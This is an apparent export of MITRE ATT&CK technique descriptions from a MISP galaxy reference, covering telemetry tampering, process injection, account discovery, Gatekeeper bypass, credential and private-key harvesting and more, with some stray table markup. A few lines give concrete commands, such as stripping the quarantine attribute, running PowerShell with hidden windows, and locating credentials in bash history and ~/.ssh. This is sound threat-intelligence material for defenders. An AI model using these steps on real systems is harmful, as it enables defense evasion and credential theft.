An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to
make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

</tr>
</tbody>
</table>

**PowerShell Profile - T1504**

Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

Execution Guardrails - T1480

Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target.

Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary's campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.

Environmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics,
techniques, and procedures (TTPs).

Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowa: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.

**Process Injection - T1055**

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Windows

There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)

- **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.

- **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)

- **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.

- **Asynchronous Procedure Call (APC) injection** involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)

- **Thread Local Storage (TLS) callback injection** involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code’s legitimate entry point. (Citation: FireEye TLS Nov 2017)

Mac and Linux

Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)

- **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)

- **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)

- **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)

- **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)
Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

**Input Capture - T1056**

Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)
Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.

Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)

**Process Discovery - T1057**

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

**Windows**

An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.

**Mac and Linux**

In Mac and Linux, this is accomplished with the `<code>ps</code>` command.

The tag is: `misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"

Table 2571. Table References

983
Account Discovery - T1087

Adversaries may attempt to get a listing of local system or domain accounts.

Windows

Example commands that can acquire this information are `<code>net user</code>`, `<code>net group <groupname></code>`, and `<code>net localgroup <groupname></code>` using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.

Mac

On Mac, groups can be enumerated through the `<code>groups</code>` and `<code>id</code>` commands. In mac specifically, `<code>dscl . list /Groups</code>` and `<code>dscacheutil -q group</code>` can also be used to enumerate groups and users.

Linux

On Linux, local users can be enumerated through the use of the `<code>/etc/passwd</code>` file which is world readable. In mac, this same file is only used in single-user mode in addition to the `<code>/etc/master.passwd</code>` file.

Also, groups can be enumerated through the `<code>groups</code>` and `<code>id</code>` commands.

Office 365 and Azure AD

With authenticated access there are several tools that can be used to find accounts. The `<code>Get-MsolRoleMember</code>` PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)

Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command `<code>az ad user list</code>` will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

The `<code>Get-GlobalAddressList</code>` PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdreslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)

The tag is: `misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"`
Valid Accounts - T1078

Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access.

Accounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.

Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

Default accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module)

The overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the
enterprise. (Citation: TechNet Credential Theft)

**Account Manipulation - T1098**

Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
Exchange Email Account Takeover

The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

Azure AD

In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)

AWS

AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)

Modify Registry - T1112

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in
Persistence and Execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system’s [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.

**Dynamic DNS - T1311**

Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311"</code>

Dynamic DNS - T1311 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"
Email Collection - T1114

Adversaries may target user email to collect sensitive information from a target.

Files containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.

Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words. (Citation: Black Hills MailSniper, 2017)

Email Forwarding Rule

Adversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim's organization to use as part of further exploits or operations. (Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes. (Citation: TIMMCMIC, 2014)

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.

The tag is: `misp-galaxy:mitre-attack-pattern="Email Collection - T1114"`
The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.

Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)

Specific approaches to this technique include:

**Impersonate the identity of a legitimate application**

A malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)

**Display a prompt on top of a running legitimate application**

A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the `ActivityManager` API.(Citation: Android-getRunningTasks)(Citation: StackOverflow-getRunningAppProcesses). A malicious application can still abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus)

Approaches to display a prompt include:

- A malicious application could start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)

- A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)
Fake device notifications

A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt. (Citation: Group IB Gustuff Mar 2019)

Input Prompt - T1141

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

LC_LOAD_DYLIB Addition - T1161

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so
that the signature isn't checked at load time (Citation: Malware Persistence on OS X).

**Automated Collection - T1119**

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.
This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.

---

**Template Injection - T1221**

Microsoft's Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, .xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)

This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)

**Capture Camera - T1512**

Adversaries may utilize the camera to capture information about the user, their surroundings, or
other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.

**Video Capture - T1125**

An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user’s webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

**Login Item - T1162**

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the...
user's `<code>/Library/Preferences/</code>` directory in a plist file called `<code>com.apple.loginitems.plist</code>` (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don't all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method `<code>SMLoginItemSetEnabled</code>` can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).

**Domain Fronting - T1172**

Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistant Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

Spearphishing Link - T1192

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), like OAuth tokens, in order to gain access to protected applications and information. (Citation: Trend Micro Pawn Storm OAuth 2017)

**Obfuscate infrastructure - T1331**

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

The tag is: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"

Obfuscate infrastructure - T1331 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309"` with estimative-language:likelihood-probability="almost-certain"

**Hidden Window - T1143**

Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.

**Windows**

There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is `<code>powershell.exe -WindowStyle Hidden</code>`. (Citation: PowerShell About 2019)

**Mac**

The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be `<code>apple.awt.UIElement</code>`, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac
Malware)

Screen Capture - T1513

Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android MediaProjectionManager (generally requires the device user to grant consent). (Citation: Fortinet screencap July 2019) (Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application. (Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android screencap or screenrecord commands. (Citation: Android ScreenCap2 2019) (Citation: Trend Micro ScreenCap July 2015)

Application Shimming - T1138

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- `<code>%WINDIR%\AppPatch\sysmain.sdb</code>`
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>`

Custom databases are stored in:

- `<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>`
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>`

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be
used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

**Spearphishing Attachment - T1193**

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email...
boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

**Bash History - T1139**

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's `<code>.bash_history</code>` file. For each user, this file resides at the same location: `<code>~/.bash_history</code>`. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

</table>

**Gatekeeper Bypass - T1144**

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called `<code>com.apple.quarantine</code>`. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won't set this flag. Additionally, other utilities or events like drive-by downloads don't necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the `xattr` command `<code>xattr /path/to/MyApp.app</code>` for `<code>com.apple.quarantine</code>`. Similarly, given sudo access or elevated permission, this attribute can be removed with `xattr` as well, `<code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>`. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will
step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

The tag is: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144"

**Private Keys - T1145**

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, . pem, . pfx, . cer, . p7b, . asc. Adversaries may also look in common key directories, such as `<code>~/.ssh</code>` for SSH keys on * nix-based systems or `<code>C:\Users\(username)\.ssh</code>` on Windows.

